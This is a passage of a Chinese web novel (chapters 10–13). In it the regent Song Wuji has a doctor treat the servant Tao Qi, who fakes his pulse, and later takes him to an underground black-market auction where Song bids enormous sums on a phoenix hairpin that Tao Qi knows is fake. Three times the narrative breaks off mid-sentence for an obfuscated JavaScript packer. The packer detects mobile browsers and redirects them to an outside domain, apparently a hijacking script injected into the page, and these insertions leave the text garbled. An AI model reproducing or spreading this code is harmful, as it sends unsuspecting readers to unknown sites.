这哪是什么院子，比断壁残垣也好不了多少。勉强立着的院墙，两间破烂的大瓦房，里头堆满了成堆的竹片、水缸、刷子、竹片子。年迈的作坊主早已回家过年，雇了七八个贫苦人家的孩童做帮工，在里面编些竹编的用具，再拿到市集上卖，赚几个辛苦钱。其中最大的那个，也是代为照看作坊的，是个十来岁的少年。 * 一月前，宋无忌的马车偶然取道染瓦坊，被一伙平民堵住了路，被迫停了下来。 十几人围堵在不甚宽阔的街市中央，不巧那天为避人耳目，坐的是驾普通的白色马车，升斗小民认不出来，车夫呼喝了一番，没人理会，可把小厮气的，站在车舆前室上扯着嗓子大声叫着让路。 被人围观的，是个五六岁的小男孩儿，蜷缩在雪和泥混合的地上，正在被一个满脸肥膘的中年男人用荆条狠狠地抽。 那是坊市里的米铺老板，一边打那小孩，一边骂：“瓜娃子！敢偷老子的米，官府来人前，老子先抽死你。” 围观百姓的八卦被小厮精准捕捉，他们说那个小孩儿很会偷东西，穿的棉裤的裤管又厚又粗，他将裤脚扎得紧紧的，进米店趁店主不注意，抓了米往裤腰里塞，一把接着一把，装了满裤管，只要不剧烈跑动，米不会从裤脚漏出来。他再若无其事慢慢走着带回去，这样偷一趟，能让一家三口饱肚三天。 这种事染瓦坊里日日发生，百姓们都在看好戏。染瓦坊里的孩子，大多都是这样。 熬得住，就熬着，熬不住，贱命也就了了。 不小的喧哗惊动了男人，他曲指撩起帘子一角，将目光往外扫了一眼，眉目冷淡。 “王爷莫急，小的这就去把道儿清出来。”小厮撸起袖子跳下车，王府家奴派头十足，拨开人群挤进去，掏出钱正打算赶人，发现已经有人先他一步，把麻烦解决了。 小贼倒在泥地上，抽着气，赤条条的胳膊上布满红痕。一名十来岁的少年挡在他面前，正在跟米店老板交涉。只见那少年掏出几个铜板递给老板，老板得了钱，气消了大半，一脸凶凶悍地扭头回了他的店。 百姓也开始散了。 那个自掏腰包的少年，一身石青色粗布深衣，浆洗多年的缘故，瞧着灰扑扑的，补丁叠着补丁。袖管子露出的两只手，冬寒料峭里冻得全是红通通的冻疮，两片脸颊也是绯红开裂，凸显出雪白瘦尖的下巴，看起来境况不比那个偷米贼好多少。 米店老板息事宁人了，那少年扫了地上的小贼一眼，并不去关心几句或是扶他起来，挎着腕上的竹篮子，兀自走了。 那少年与这小贼并没有交情，这年头，还有人菩萨心肠掏钱替陌生人出头，还是在染瓦坊，真是活久见。 人散了，道儿就可以过了。小厮乐的不用自己出手，低调地回到车上，预备将这件奇事儿汇报给自家王爷。掀起车帘，发现空荡荡的车厢内唯余袅袅香炉青烟，人已不见了。 “额滴个天爷诶！王爷呢？”小厮抓狂。 自那天以后，摄政王的马车频频光临染瓦坊的某条幽深巷子，途中会经过某间做竹编物件的作坊，大多数时候，只是经过，偶尔停下来一会儿，瞧几眼作坊里的某个人。 来了又去，去了又来，足足十七回。 *** “咦呀呀呀呀~~~~~~” 这个点儿，是我朝摄政王爷惯例的午睡时间，却硬生生被隔了半个王府距离的鬼哭狼嚎动静闹醒了。 宋无忌在黄花梨床塌上坐了起来，瓷白修长的两指捏了捏鼻梁，面黑如锅盖。 昨日把桃七从乱葬岗坡下接回来，当晚他就开始发热。 墨室里就他一个住着，他烧了一晚上，就这么熬着也不喊人。到了第二天，日上三竿还不起来。万青以为是人跑了，踹门进去一看，人倒在床上裹成了粽子，脸蛋红扑扑的，手背一碰额头，烫得很，烧糊涂了都。 一匹快马嘚嘚儿地出了王府后门，又嘚嘚儿地载来了孙大夫。 孙大夫进了桃七的屋子，放下药箱，把脉一搭，立马“嘶”了一声。 “脉象浮涩，虛而无力，应是操劳过度导致的气血不足。” “操劳？”万青伫立一旁，跟见了鬼似的，“这猴子似的一个人，气血不足？我可一点儿也不信。” 大夫又把了两下，闭目细细品了品：“脉象孱弱细微，后天元气不足，积年旧症，沉疴难愈，不可轻视……” 千叶问：“什么旧症？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006010|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “呃……似乎是泌尿炎症，又似乎是长了许多肠痈……堵塞了谷道……” 千叶和万青望桃七的眼神开始带上了同情。 孙大夫双眉紧锁，又搭了一会儿：“这位小哥，月信是否规律呢。” 桃七直起头颅，气若游丝：“大夫，您瞪大眼珠子看看我，能有那玩意儿吗？” “呃……请小哥换一只手。” 桃七照做，在床上翻了个身，孙大夫又搭了半天，神色欲言又止，道：“我观小哥脸色，又像是内伤严重，血不归经，阳气浮月，病势危重……不如将舌头伸出来看看。” 桃七照做，把口里含着的人参片吐了出来，伸出了长长的舌头，大夫道：“小哥是层患有胃心痛？” “小时候没饭吃，的确落下了这个病。”这大夫有两把刷子，幸亏自己早做准备。 “今后保持饮食规律，便不打紧。” 孙大夫往日里给府中人看病都一语中的，药到病除，很是靠谱，这回怎么一会儿“病势危重”，一会儿“便不打紧”。千叶和万青互相对视了一眼，二脸茫然。 大夫的两指始终没离开过桃七的手腕，最后实在说不出什么来了，叹道：“小哥的体质，实属罕见呐。”奇了，孙大夫行医数十年，自诩孙思邈嫡传，?张仲景第二，却实在捉摸不透桃七的脉象。未免自己英名受损，他旁的病症便不再提了，一口咬定桃七是天性热疾中毒。 看样子，这关算是过了，桃七心里的石头放了下来。 原来，他一听说王府派了人去请大夫，阻拦不及，便早早地拿两颗鸡蛋大小的石头夹在腋下，一边一个，如此，再高明的大夫都摸不准病人的脉搏，甚至摸着就像得了怪病似的。 这次请来的大夫一看就是烨都有名的圣手，轻易就能把脉把出他的性别，这便是他的应对之策了。 “与伤寒不同，天性热疾中毒，是由于体内燥热引起的外感热邪、高烧不退。喝点儿白虎汤也能好，不过最对症下药的还得是金汁这味药材。”大夫当即提笔默下了一副药方，一模一样的药方他一年能开出百八十副，最是得心应手，也最是喝不死人。 白虎汤？金汁儿？一听就是名贵药材，大补！桃七乐呵呵地想。 “白虎汤我知道。”千叶拿过药方看了看，“白灵香、夜明砂，血余炭，人中白，左盘龙，紫河车……这几位药都不难找，只是这金汁不知有何来头，请大夫赐教，我也好去准备起来。”千叶于岐黄之术略有涉猎，也没听过“金汁”这味药。 “这是一味偏方中的常用药，取自十一二岁男童冬至前后一个月的粪便，打成原浆，加入井底十丈以下的上好泉水，再加入红土，搅拌均匀后，经过竹筛和纱布两道过滤，封坛埋入地下十年以上，才能形成的金汁。主治天行热疾中毒，故而是老夫的药方中最不可缺少的一味药。” 桃七诈尸般从床板上挺了起来，一张瘦脸惨白惨白的：“我喝白虎汤就好了，金汁这么复杂的药材，我一个小仆人可用不起，就免了，免了！” 千叶道：“夏天早就过了，上哪儿给你找白虎汤去？” 大夫宽慰说：“金汁每个药房铺子都有得卖，也就十个铜板一两，每日一幅，一幅半两，不费银子的。” 桃七慌忙称：“其实不满大夫，小的刚刚觉得自己已经彻底好全乎了。多亏了大夫妙手回春，不，是妙语回春。在小的耳边说几句话，提点几句，一下就好了。” “哪有那么快好，热疾容易反复，若不及时吃药，容易拉下病根子，小哥你可是我们王爷心尖儿上的红人，你的病得格外重视，就算要那冬虫夏草冰山雪莲，我们也给你弄来。”千叶道。他和万青兴奋地想试试往桃七嘴里灌熬好的金汁。 “要死啊！！！” 于是，在接下来的七日内，桃七日日被二人架着身子灌汤药，摄政王府内日日传出鬼哭狼嚎，凄厉似从地狱罗刹口中传来。烨都百姓闻风丧胆，关于摄政王残暴的流言又疯传出了好几个版本。 11. 白日卖惨黑市买肉 七日后，桃七的病好得透透的了。 今日又是日上三竿才醒，出了墨室，迎面遇到三三两两的小厮在搬盆景，都是他这两天混熟了的，见他扯着裤腰带的模样，都笑话他几句，他也笑话回去。 “呦，七哥起挺早啊，万侍卫亲自请您下床？咱可没这待遇。” “那可不，亲自用他那玉足把咱蹬起来的，漱口净面都要跟着我，服侍得那叫一个周到！” “人家是不是还给您的早饭开了小灶啊？” “早饭？”桃七猛地一拍屁股，“坏了！” 飞奔去厨房，幸亏剩的粥还没倒泔水桶里。他坐着空无一人的大桌板，慢悠悠摆弄好碗碟，喝口王府下人的粗茶压压胃，端起凉透了的稀粥，就着剩了个底的咸菜吸溜起来。 吃完了，把碗搁回碗橱里头，打圈摸着肚子，打了个不甚满足的小嗝，打算回他那猪窝里睡个回笼觉。 “诶，你吃了没洗的碗，怎么还放回去了？”出了门，厨房的小厨娘突然追出来，拿着那只碗，控诉桃七的举动。 桃七腆着个脸：“姐姐你看它又不脏，我都舔过一圈儿了，有什么要紧的？” 小厨娘露出鄙夷的脸色：“你这个人，怎么邋遢成这样？亏我还好心给把剩的粥给你端出来。” 照理说过了辰时，下人就不可再用早饭了，是桃七称自己是新来的不懂规矩，小厨娘好心才给他吃的，没成想桃七还给她添麻烦，简直是恩将仇报。 桃七舔舔嘴唇 ：“是这样的，我打小儿啊，便不喜欢同别人用一个碗，不洗正好，可以做个记号，往后便没人与我抢这只，每次都放一个位置，我专门用这一个，不比大家伙儿混用来得干净吗？ “你、你、你……”小厨娘彻底被他震惊了。 “好啦，别计较了，我来洗吧。”厨房门里走出来一位年纪稍大的女婢，接过了小厨娘手里的脏碗，放到盆里洗刷了起来。桃七一瞧，妈耶碰上熟人了，正是王府刺杀案发那晚他在茅厕作弄过的两个女婢里的一个，叫做樊秋合。 小厨娘道：“樊姐姐，你今天帮我洗了，他还这么干那怎么办呢。往后大家一不小心就拿到个脏碗，每次吃饭都嫌恶心，连累我们厨房的人。要我说，还是应该告诉李嬷嬷，让她来管教管教这没脸没皮的臭小子。” “好了好了，人家是新来的少说两句，入秋了王爷午间饮食要加入药膳进补，你快去准备吧。” “天哪，我竟把这么重要的事忘了，我得快去府库里领一些灵芝黄芪和人参先泡起来。”小厨娘一跺脚，出门之前还狠狠瞪了桃七一眼，“下次再让你吃，我就是猪！” 桃七被数落了一通，丝毫没觉得羞愧。踱步到池子边，嬉皮笑脸道：“谢谢樊姐姐解围了。” 樊秋合洗刷完了，拿起布擦干了，看了看桃七，脸庞微微红：“小哥怎么也同那些妹妹们一样叫我樊姐姐。” 桃七笑道：“我家里有个大我六七岁的姐姐，小时候吃不饱，有什么好吃的她都会省着给我。后来姐姐嫁到了外地，听说生病没钱买药病死了，我很想她。樊姐姐人美，心地也善良，我一见就感觉像是自家姐姐回到身边了一般。” 桃七于讨女人欢心和怜悯一道上，有点造诣，曾仗着一张巧嘴与染瓦坊的豆腐西施孙大娘眉来眼去，在她家的摊子白吃了好几个月的豆腐脑，被人家丈夫发现后打了一顿才消停。 卖惨，是男人收获女子，尤其是年轻小女子好感的有力有段之一。 果然，樊秋合用一种心疼的眼神看着桃七，明显动容了：“像咱们这样为奴为婢的命，哪有不苦的呢。” “不苦，不苦，如今入了摄政王府，是咱们八辈子修来的福分呢。” “那是自然。” 桃七又问：“姐姐不是在二进的偏殿伺候的吗？怎的今日来帮厨房的忙？” 樊秋合道：“是厨房另一个厨娘，她嫂子才生了孩子，家里又是农忙时节，告了假回去，我得闲时，便来帮忙，免得小红一个人忙不过来。” “既是帮忙，为何连王爷才入秋要用药膳进补这些细节都知道，竟比厨娘小红还清楚。”桃七突然问。 “我在王府八年半了，平日里稍作留心些，自是比旁人多知道些。”樊秋合微微一笑：“桃小哥才入王府十日，便能记住我是二进偏殿伺候的，不也是个心细之人吗？不然，怎会得王爷爱重。” 桃七也笑了起来。这女婢是个聪明人，从她劝那小厨娘不要谴责自己时，桃七就推测，她是应看出自己并非寻常仆役，而是王府的主子尤为“关照”之人，为了那小厨娘好，才选择忍气吞声帮洗那只脏碗的。 在这王府之中，能惹谁，不能惹谁，都是学问。这么个心细眼活，成熟稳重的女子，仅仅是王府里一个乙等势婢，也太埋没人才了。 桃七道：“我这种做事没谱的蹩脚货，进府以来就远远见过王爷一两面，怎么敢跑到王爷面前现眼呢？” “那桃小哥在府里当的什么差？” “这个……”桃七自己也不晓得，病好后，也没人告诉他找谁领活排班去，坏了，不会也不给他发月钱了吧。 这时候，围墙外传来千叶的声音：“桃七！王爷在府门口等你，速来。” 刚说自己不受王爷器重，这么快就打脸了，桃七回头冲樊秋合眯眼笑笑，道个别，来到千叶面前说：“王爷叫我做什么？” “你去了不就知道了。”千叶转身不欲与他多舌。 “你先告诉我，不然我心里没底。诶，走慢点，千侍卫，千大哥？” 王府门前停着一辆稍显普通的灰黄色马车，只有两匹棕马拉车，车夫也换上了普通人家的衣裳，远远不是堂堂摄政王出门的排场，想是宋无忌想要保持低调不欲引人注目刻意安排的。不过马车两边还是有八个带刀侍卫。宋无忌登上马车，掀帘而入，半卧在宽敞的紫檀藤心坐塌上，瓷白修长的两指捏了捏鼻梁，不耐道：“怎么还没到？” “王爷，千叶已经去叫人了，此刻……” “此刻，贱仆桃七已经到了！” 宋无忌掀起马车帘子，就看到桃七一张脸跑的通红，热汗淋漓，气喘吁吁地赶来。 桃七一见宋无忌的脸，腿又软了，一下台阶，顺势噗通下跪。这么多天了，还是没改一见宋无忌就两腿打怵的毛病。 简直是不受控制的生理反应，宋无忌那股子威慑已经扎根进他骨子里，没法子了。 “小人让王爷久等，罪该万死。”桃七谨小慎微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006011|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 马车旁，千叶和万青凑在一起嘀嘀咕咕：“那天在京兆尹府，我一见他，就被他死了没埋一样的脸色给唬住了，以为他杀了个人，要进入什么武学境界了。谁知隔了一天就打回原形了。” 万青道：“可不是，一点也没下人的样子，甚至更加变本加厉，其他小厮仆从早晚有样学样，把咱们王府里的风气都给带歪。” 千叶道：“不过王爷还是厉害的，你看他那窝囊样儿，就王爷能治他！” “我同意。” 车里，宋无忌沉沉道：“不怪你，是本王派人喊你去晚了，你上来吧。” “我？”桃七不敢相信地指着自己，“小的怎么敢于王爷同做一辆马车，小的还是走路吧。” “闲话少说。”宋无忌的语气冷冰冰的。 “得嘞！”桃七赶紧地滚了上去。 桃七上了车，还是坐在最外头，屁股只敢挨个椅垫的边儿。马车走了一小段路，宋无忌闭目养神中，桃七肥着胆子问：“王爷，咱们这是去哪儿啊？” “你上回，不是想去举辉堂吗？”宋无忌淡淡道。 桃七：“？” “你想去，本王就带你去。” 举辉堂里藏着许多秘密，他上回得了出府的允许，第一个来的地方就是那儿。一定让宋无忌很忌惮。今日想必是秋后算账来了，桃七心里道：吾命休矣！ 乘坐马车很快就到了举辉堂，门口的人认识万青和千叶的脸，一点不敢怠慢，将人请进了门，在楼里七绕八绕，最后请他们进了个单独的雅间。里头有个衣着富态男人，应该是举辉堂管事的，立马迎了上去，却没请他们坐下喝口茶，而是领着他们来到雅间屏风后的书橱前。 管事的在书橱某处按了两下，打开了机关，书橱自中间向两边挪开，出现了一扇古朴的青铜大门，管事的拿出钥匙，戳入锁眼，闷闷的几道咔哒声，是沉重的金属锁扣松开的声音，青铜大门缓缓打开，露出里头一条狭小的向下通道。 “一次只能进入三人，千叶与桃七随我去，其余人等在此处候着。” “是！”万青和其他几名侍卫应道。 千叶打头，一头扎进了青铜巨门之内。宋无忌在后，桃七怕得要死，只能像个牛皮糖一样粘着他们。 那青铜门下，连通的是个庞大的地下通道网，地道四通八达，不断出现岔路口，该怎么走千叶已经很熟悉了，约莫半个时辰过去，还没走完，桃七都绝望了，又不敢发问。 又过了一盏茶的功夫，终于看到了一点光亮。 在那点光亮旁边，伫立着一位门房打扮的仆役，身材并不高大，甚至有些佝偻，一道几乎把鼻子给割断的陈年伤疤触目惊心地横亘在面中。 还没等他们走到面前，他就沉着嗓子问： “三位公子往哪儿去？” “买肉。”千叶沉声道。 疤面仆役脸色变得阴沉：“我家的肉是当日宰杀的，新鲜着呢，胳膊还是腿，都是不满十岁的，嫩得很。” “七岁男孩的肩头肉，要子夜三刻宰杀的，用翡玉做的砧板，冰刃做的刀。” 疤面仆役脸上闪过一丝敬畏，似是验明了正身，恭声唱了个大喏，胳膊往后一伸，热络道：“贵客请进。” 12. 货不怕脏，西贝无光 疤面仆役闪身避让，宋无忌三人向前，来到一座拱状石门前。门口有人向他们递出三个银色面具。桃七看了一眼，正是自己被宋无忌拍下的那天，宋无忌在举辉堂戴的那一种。 宋无忌与千叶接过面具戴上，桃七便也有样学样，戴上了面具。然后他们跨过这道门，刺目的光线迫使桃七举手挡了一下眼睛，庞大的喧嚣如洪流撞来。 “哇！”桃七像刘姥姥进了大观园，仰头不断东看西看，不自觉惊叹出声。 在这烨都东城地底，竟被人掘出了一座庞大的拍卖场。其间灯火通明，万支蜡烛将冬日地底照得如白昼一般。其间人来人往，不是富商大贾，就是达官显贵，不少带着差不多的面具，他们都不希望在这里暴露身份。 “王爷……”桃七小心翼翼道，“您带我来这儿，是来买东西的？” 千叶道：“到了此地，要隐藏身份，我们要称呼王爷为东家。” “我错了，东家。”桃七乖乖改口，“这儿才是真正的举辉堂，是吗？” “是，也不是。”宋无忌的嗓音空灵如山涧流水，又自有一股渊渟岳峙的深沉。 千叶打头走着，道：“举辉堂只能称得上是这座地下拍场的一部分，或者说，是一个入口而已。” “入口？” “在烨都东西一百零八坊中，有六十个坊都设有隐蔽的入口，而举辉堂只是其中的一个，进入这些入口，再沿着通道前进，最后都会来到这里，烨都最大的地下拍卖中心，进入此地必须是经过严格核查的人员。也会有外人挖地窖时挖穿了地道进入后误打误撞找到了地下拍场的，所以门口会有人询问暗语，以免将无关人放进去。” 桃七五岁就定居烨都，十三岁在染瓦坊那种三教九流聚集的地方讨生活，竟然完全没听说烨都地底还有这么个神奇的地方。他跟随着宋无忌和千叶进入这里，惊叹地观察所能见到的一切。 拍卖堂位于场地中央的一座大圆台，上头设了张齐胸高的宽大桌案，用以展示拍卖品。周围是一片座椅，竞拍者需在阶下支付一小粒金豆子，方可落座，加入竞拍。 拍卖场前朝就有了，老字号中的老字号，五湖四海的宝物、赃物、朝廷明文禁止的货物，都能在这儿拍出，东道主对拍出的价格收取百分之五的利润，价格公道故而长盛不衰。 除了拍卖场，还有兜售茶饮、武器、别处搜罗不到的药物珍宝的铺子，发印子钱的银庄，以及付费提供验货服务的鉴宝阁，俨然是个初具规模的集市。 眼下场中正是拍品展示环节，主持竞拍的是个年轻美貌，衣着专门服饰的女郎，她拿着鼓槌，操着动听的语气介绍一座古朴庄严的象牙猪龙雕刻——器型优美，厚耳方鼻，憨态可掬，色泽柔润光滑，雕刻技艺高雅，相传是雕刻大师七莲居士所铸……说得天上有地下无的，引起场中顾客的兴趣，紧接着就是此起彼伏的出价，金额之高令人咋舌。 天下熙熙，皆为利来，天下往往，皆为利往！简直是这个地方最好的注脚。 千叶付过一小锭金子，三人找了个角落坐下来，宽大的扶手椅衬得桃七瘦弱的身躯像个小孩。 桃七偷眼瞧了瞧宋无忌，宋无忌一本正经地坐着，似乎对这里很熟悉，似乎在等待着什么。 千叶坐在宋无忌右手边，呈上精心制作的拍卖图鉴，低声道：“王爷上次交代的货排在倒数第三个上场，还早着呢。” “嗯。”宋无忌接过图鉴，略微扫视几眼。 “不过今日的其他拍卖物品质都很不错，遇到合适的，咱们不妨也可以拍下来。” “不必。” “是。”千叶意识到自己多嘴了。 十几轮叫价之后，“咚”！槌落，掀起一阵叫好，那件牙雕龙象被人拍走了，一个中规中矩的成交价，下一件上来的是尊黑釉描金梅花纹碗，很快也被人拍走了。 紧接着，主槌拿出了一只红木盒，里头是一颗形状饱满的灵芝。 “这颗三百年灵芝，在你们那儿估价几何？”宋无忌问道。 他问的是两位仆从，千叶当先道：“属下以为，或可值四百五十两。” 桃七迷惑地听着他们对话，不知道该怎么回答，千叶给他使了使颜色，催促他快猜一个数。 “小的没这等见识，估不出来。”桃七挠头。 “无事，你只需随意猜，错了不扣你的月例。”宋无忌“温柔”地说。 杀千刀的，果然开始用月例威胁我了。“那……我猜八十两吧。”桃七道。 “只值一百两。”宋无忌微微一笑，似十足把握，“不过，实际成交价可达七百至八百两。” 千叶不可置信地道：“怎会？场中已经有人出到三百两了？” 宋无忌：“它是被人推上去的。” “卖家或拍行雇的抬价人吗？”千叶道，“或许底下有那么一两个，但是反响如此热烈，也不乏真心求购的买家吧。” “皇商孙氏的老母有头疾，前些日子名医张驰岭云游至烨都，他曾亲自驮老母前去求医，搏得了至孝的美名。据医庐的伙计传，张神医给他开了个方子，三百年以上灵芝正是里头一味药引。除作此用途之外，灵芝也只有益气补血的功效了，谁会花几百两买它？燕窝鲍鱼还吃不够吗？” 桃七和千叶一齐看向座席中间不断举牌的那个微微发福的商人，想必不是皇商孙氏本人，便也是他的代理人了。 千叶：“可孙员外浸淫商界多年，对药材也不是一知半解，他难道看不出这灵芝不值百两吗？” “知道又如何，他的孝名已传遍烨都。”宋无忌点到为止。 也就是说，他买，也得买，不买，也得买！座中烨都的显贵们瞧着呢，若是让这药引子在自个儿眼皮子底下溜走，岂不是被人戳脊梁骨骂孝顺都是装出来的？ 想在拍卖场上运筹帷幄，就得掌握情报，探知多方底牌。看起来是比谁出价高，实际比拼的都是大人物掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006012|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控的情报网。 桃七一点就透，一副受教的表情：“东家消息灵通，眼光毒辣，桃七佩服。” 此刻，场中此起彼伏俱是喊价：“五百六十两。” “五百七！” 有人精神头上来了：“六百两！” “六百五十两！” “七、七百两……” 持续走高的价格令人咋舌，最终以七百六十两的价格成交。而宋无忌早已没了兴致，低头继续细看图鉴，翻阅时，修长四指若玉若竹，袖口的玄色马蹄袖织物光滑流转，逼人的贵气直透过来。眉睫垂落的模样看着清冷，三庭五眼锋利又不乏秀气，像支才出鞘的剑，宋无忌三年前就已过而立之年，桃七却觉得现在的他远没达到那个年岁。 桃七瞪大了两眼，暗暗叹息：这人哪是什么摄政王，是哪家养的面首跑出来了吧？ 正巧这时，宋无忌抬首，对上他的目光：“怎么了？” 桃七搔搔后脑勺，毫无芥蒂地笑了起来：“小的被大人的英明神武折服，分神了而已。” “东家，来了！”千叶提醒道。 宋无忌仰头目视拍卖场中央，桃七也看了过去。看样子，让宋无忌亲自大老远跑来的拍品出现了。 全场竞拍者们不约而同安静了一瞬，继而响起窃窃私语，并未有十分热烈的反响。 案上展示的是支凤形短钗，以纯金打造，其上有华美的凤凰雕饰，装饰以血色宝珠。一看就是皇宫里出来的。 桃七见了，忽地却有种宛若隔世之感。随即一阵无声的战栗，他的背脊瞬间僵了，鸡皮疙瘩一层层地炸起来，身上像被蛇爬过一样，又阴又凉。 是那个女人的东西？ 当年兵荒马乱的入京路，那个逃命途中，与自己和父亲同乘的女人，穿着明黄色的锦缎华服，还带着一个比他大几岁的男孩，母子二人的面貌随着时光沉淀早已模糊。唯有女人头上带的发钗，在眼前晃啊晃啊。出生于陇西的女孩从未见过如此华美的发钗。后来女人将它遗落在了马车里，又被自己捡到了，就这么阴差阳错留了下来。 可留得再久，也不是自己的东西。 地下拍卖场什么货都有，更何况是一件样式过时的皇家饰物，指不定是哪个手脚不干净的宫人偷出来的。拍品亮相的同时，少数拍客露出了略有兴味的神态，然而大部分淡定得很，而且拍卖师介绍得也语焉不详，不能激起看客多少兴趣。 “凤钗？稀罕物啊。” “看这款式，十几年前的了吧。哪里刨出来的老古董啊？”座中掀起哄笑。 有个满脸麻子的富商调侃道：“就是，送给我家婢女都嫌寒碜，哈哈哈哈！” “来历不明之物，八成是西贝货……” 地下拍卖行盛行一句俗语——货不怕脏，西贝无光。意思是东西不管来历，值钱就行，而买到假货是很丢脸的。 寂静无澜的场下，终于有人举起了牌子——“五百两。” 13. 真金难易假凤如飞 有人出价不奇怪，奇怪的是，居然有人出五百两之高。远远高于这件物品的起拍价五十两白银。 见此情况，前头调侃的几个看客也怀疑自己是否一时眼瘸，看漏了宝物，纷纷估摸着要不要加个价试试。 一件无人看好的皇家饰物溢价十倍！见多识广的主槌已是双臂颤抖，两眼放出精光，喜形于色，前一批货物加起来也没有这一件的价格高，这一单若成了，提成能顶一个月！ “东边三排十六座的贵客出价五百两，还有没有更高的出价？” “我出五百二十两。”那个说买回去送给婢女都磕碜的细眼商人出价了。 “中部六排七座的元老板出价五百二十两。” “我也来，五百六十两。” “五百八十……” “六百一十……” 时不时有几个出价的，提价幅度都不高，应只是凑凑热闹。 “一千两，”那位第一次出价五百两的客人又来了。 桃七看过去，发现那人身着淡黄色绣云纹的窄身缎衣，外罩一件素白褂子，短须白面，相貌一般，四十上下，身形普通，让人见了留不下什么深刻的印象。 拍卖场的买手有两种，一种是买主自己亲自前来拍，一种是受雇于主家，作为代理人在现场拍货品，这种人一般是主家的仆人，或者是专业的代拍人员。他们通常会事先收到主家给的需要拍下的物品清单，以及可以出的最高价格，最后在拍场中一味出价就行了。观那人一副气定神闲，毫不在意拍品价格的模样，应该就是第二种代理人。 “嚯！” “大手笔啊！” “一支过时的破金钗，说破大天就四五百两，还出价两倍？这人疯了吧……” 没人愿意当冤大头，不断的出价声没了，转变为看客的调侃。 桃七满脑子都是：这件东西为什么会在这里，宋无忌第一次带他来地下黑色拍卖场就撞见了它，是巧合，还是…… 此刻，他一点也不敢看身旁的宋无忌，怕给他看出自己眼里的心虚和恐惧。 “两千两。”宋无忌举牌，平静地说道。 不止桃七，连千叶也吃惊地望向宋无忌，以及座中的上百名客人和场中的落槌者。 “西边四排二十六座的客人，首次出价就是两千两，这已经是今日三场拍卖里出的最高价！”做拍卖场的落槌者也需要学问，鼓励买主出价就需要给足面子，满足虚荣心，“然而，我们的竞价还远远没有结束，相信东边三排十……” “三千两。”那人很给主槌女郎的面子，再度出价。 没等主槌说什么，宋无忌就咬了上来：“四千两。” “四千两！天哪，已经以千为涨幅来竞价了吗？” “五千两！”那位低调的神秘人不甘示弱。 “五千两。”宋无忌道。 “什么？”主槌一时没反应过来，“还是五千两？” “我的意思是，”宋无忌的面具下，闪过一丝志在必得的诡异笑容，“黄金。” 整座拍卖场，陷入了与世隔绝的安静，一切似乎都停滞了。 桃七几乎能听见自己的心跳声。咚，咚，咚…… 五千两黄金——名为桃七的奴隶的卖价。 那支与他有着千丝万缕冤孽的金钗，也是这个数字。 也许对于摄政王宋无忌来说，这么多金子只是九牛一毛而已。也许他是故意的，让桃七永远也摆脱不了这个魔咒。 一个价码，一件商品，一个奴隶。 一个永远也摆脱不了的身份…… 千叶急的上火，不顾全场的目光，道：“王……不，主家，咱们的出价已经远远高于这件物品的实际价值，而且今日出门，没有准备足够的……” “五千一百两黄金。”千叶说不下去了，因为他听到了这么一句。 连桃七叶觉得，这场拍卖到此为止了。宋无忌大出血，得到一支不知适合来历的金钗。可是那人竟然还在跟。 桃七不受控制地冒出的细汗早已浸湿了后背。 “什么？” “这两人疯了吧……”座中看客连连惊叹。“这已经是地下拍卖行里拍价最高的一件货物了。” “难不成此物有什么大来头？” “那人是谁，以前没见过啊，一出来就如此大手笔。” “这么大手笔的人物一天还出来两个，这烨都地下的拍卖行当，怕是要变天喽……” “那两人是不是有仇啊，别只是为了赌气杠上了，万一结束后掏不出金子来，处理交易纠纷很麻烦的……” “说不定是和卖主有仇，两人联合整人家吧……” “五千……一百两黄金……”主槌女郎差点握不住手里的小槌，腿脚发软，但是她还是勉力让自己清醒，咽了口唾沫，缓缓举起手中的小槌。 “五千二百两黄金。”宋无忌的语气丝毫未变。 “五千三百两黄金。” “五千四百两黄金。” 这二人就这么一百两一百两地增加，直到六千多，七千多…… “主家，不能再加了！”千叶突然单膝跪地，央求道。这么多钱，已经抵得上一年的国库收入，将摄政王府卖了都付不起。 宋无忌没有回应，只是看着对面又举起了一个新高的数字。然后继续加码！ “七千六百两黄金。” “七千七百两……” 桃七震惊地发现，现在他最想做的居然还是阻止宋无忌继续下去。他在心里不断重复对自己说，那件东西不是真的。 那支金钗，是伪造的！ 因为真正的凤钗早就已经被自己熔了卖了。 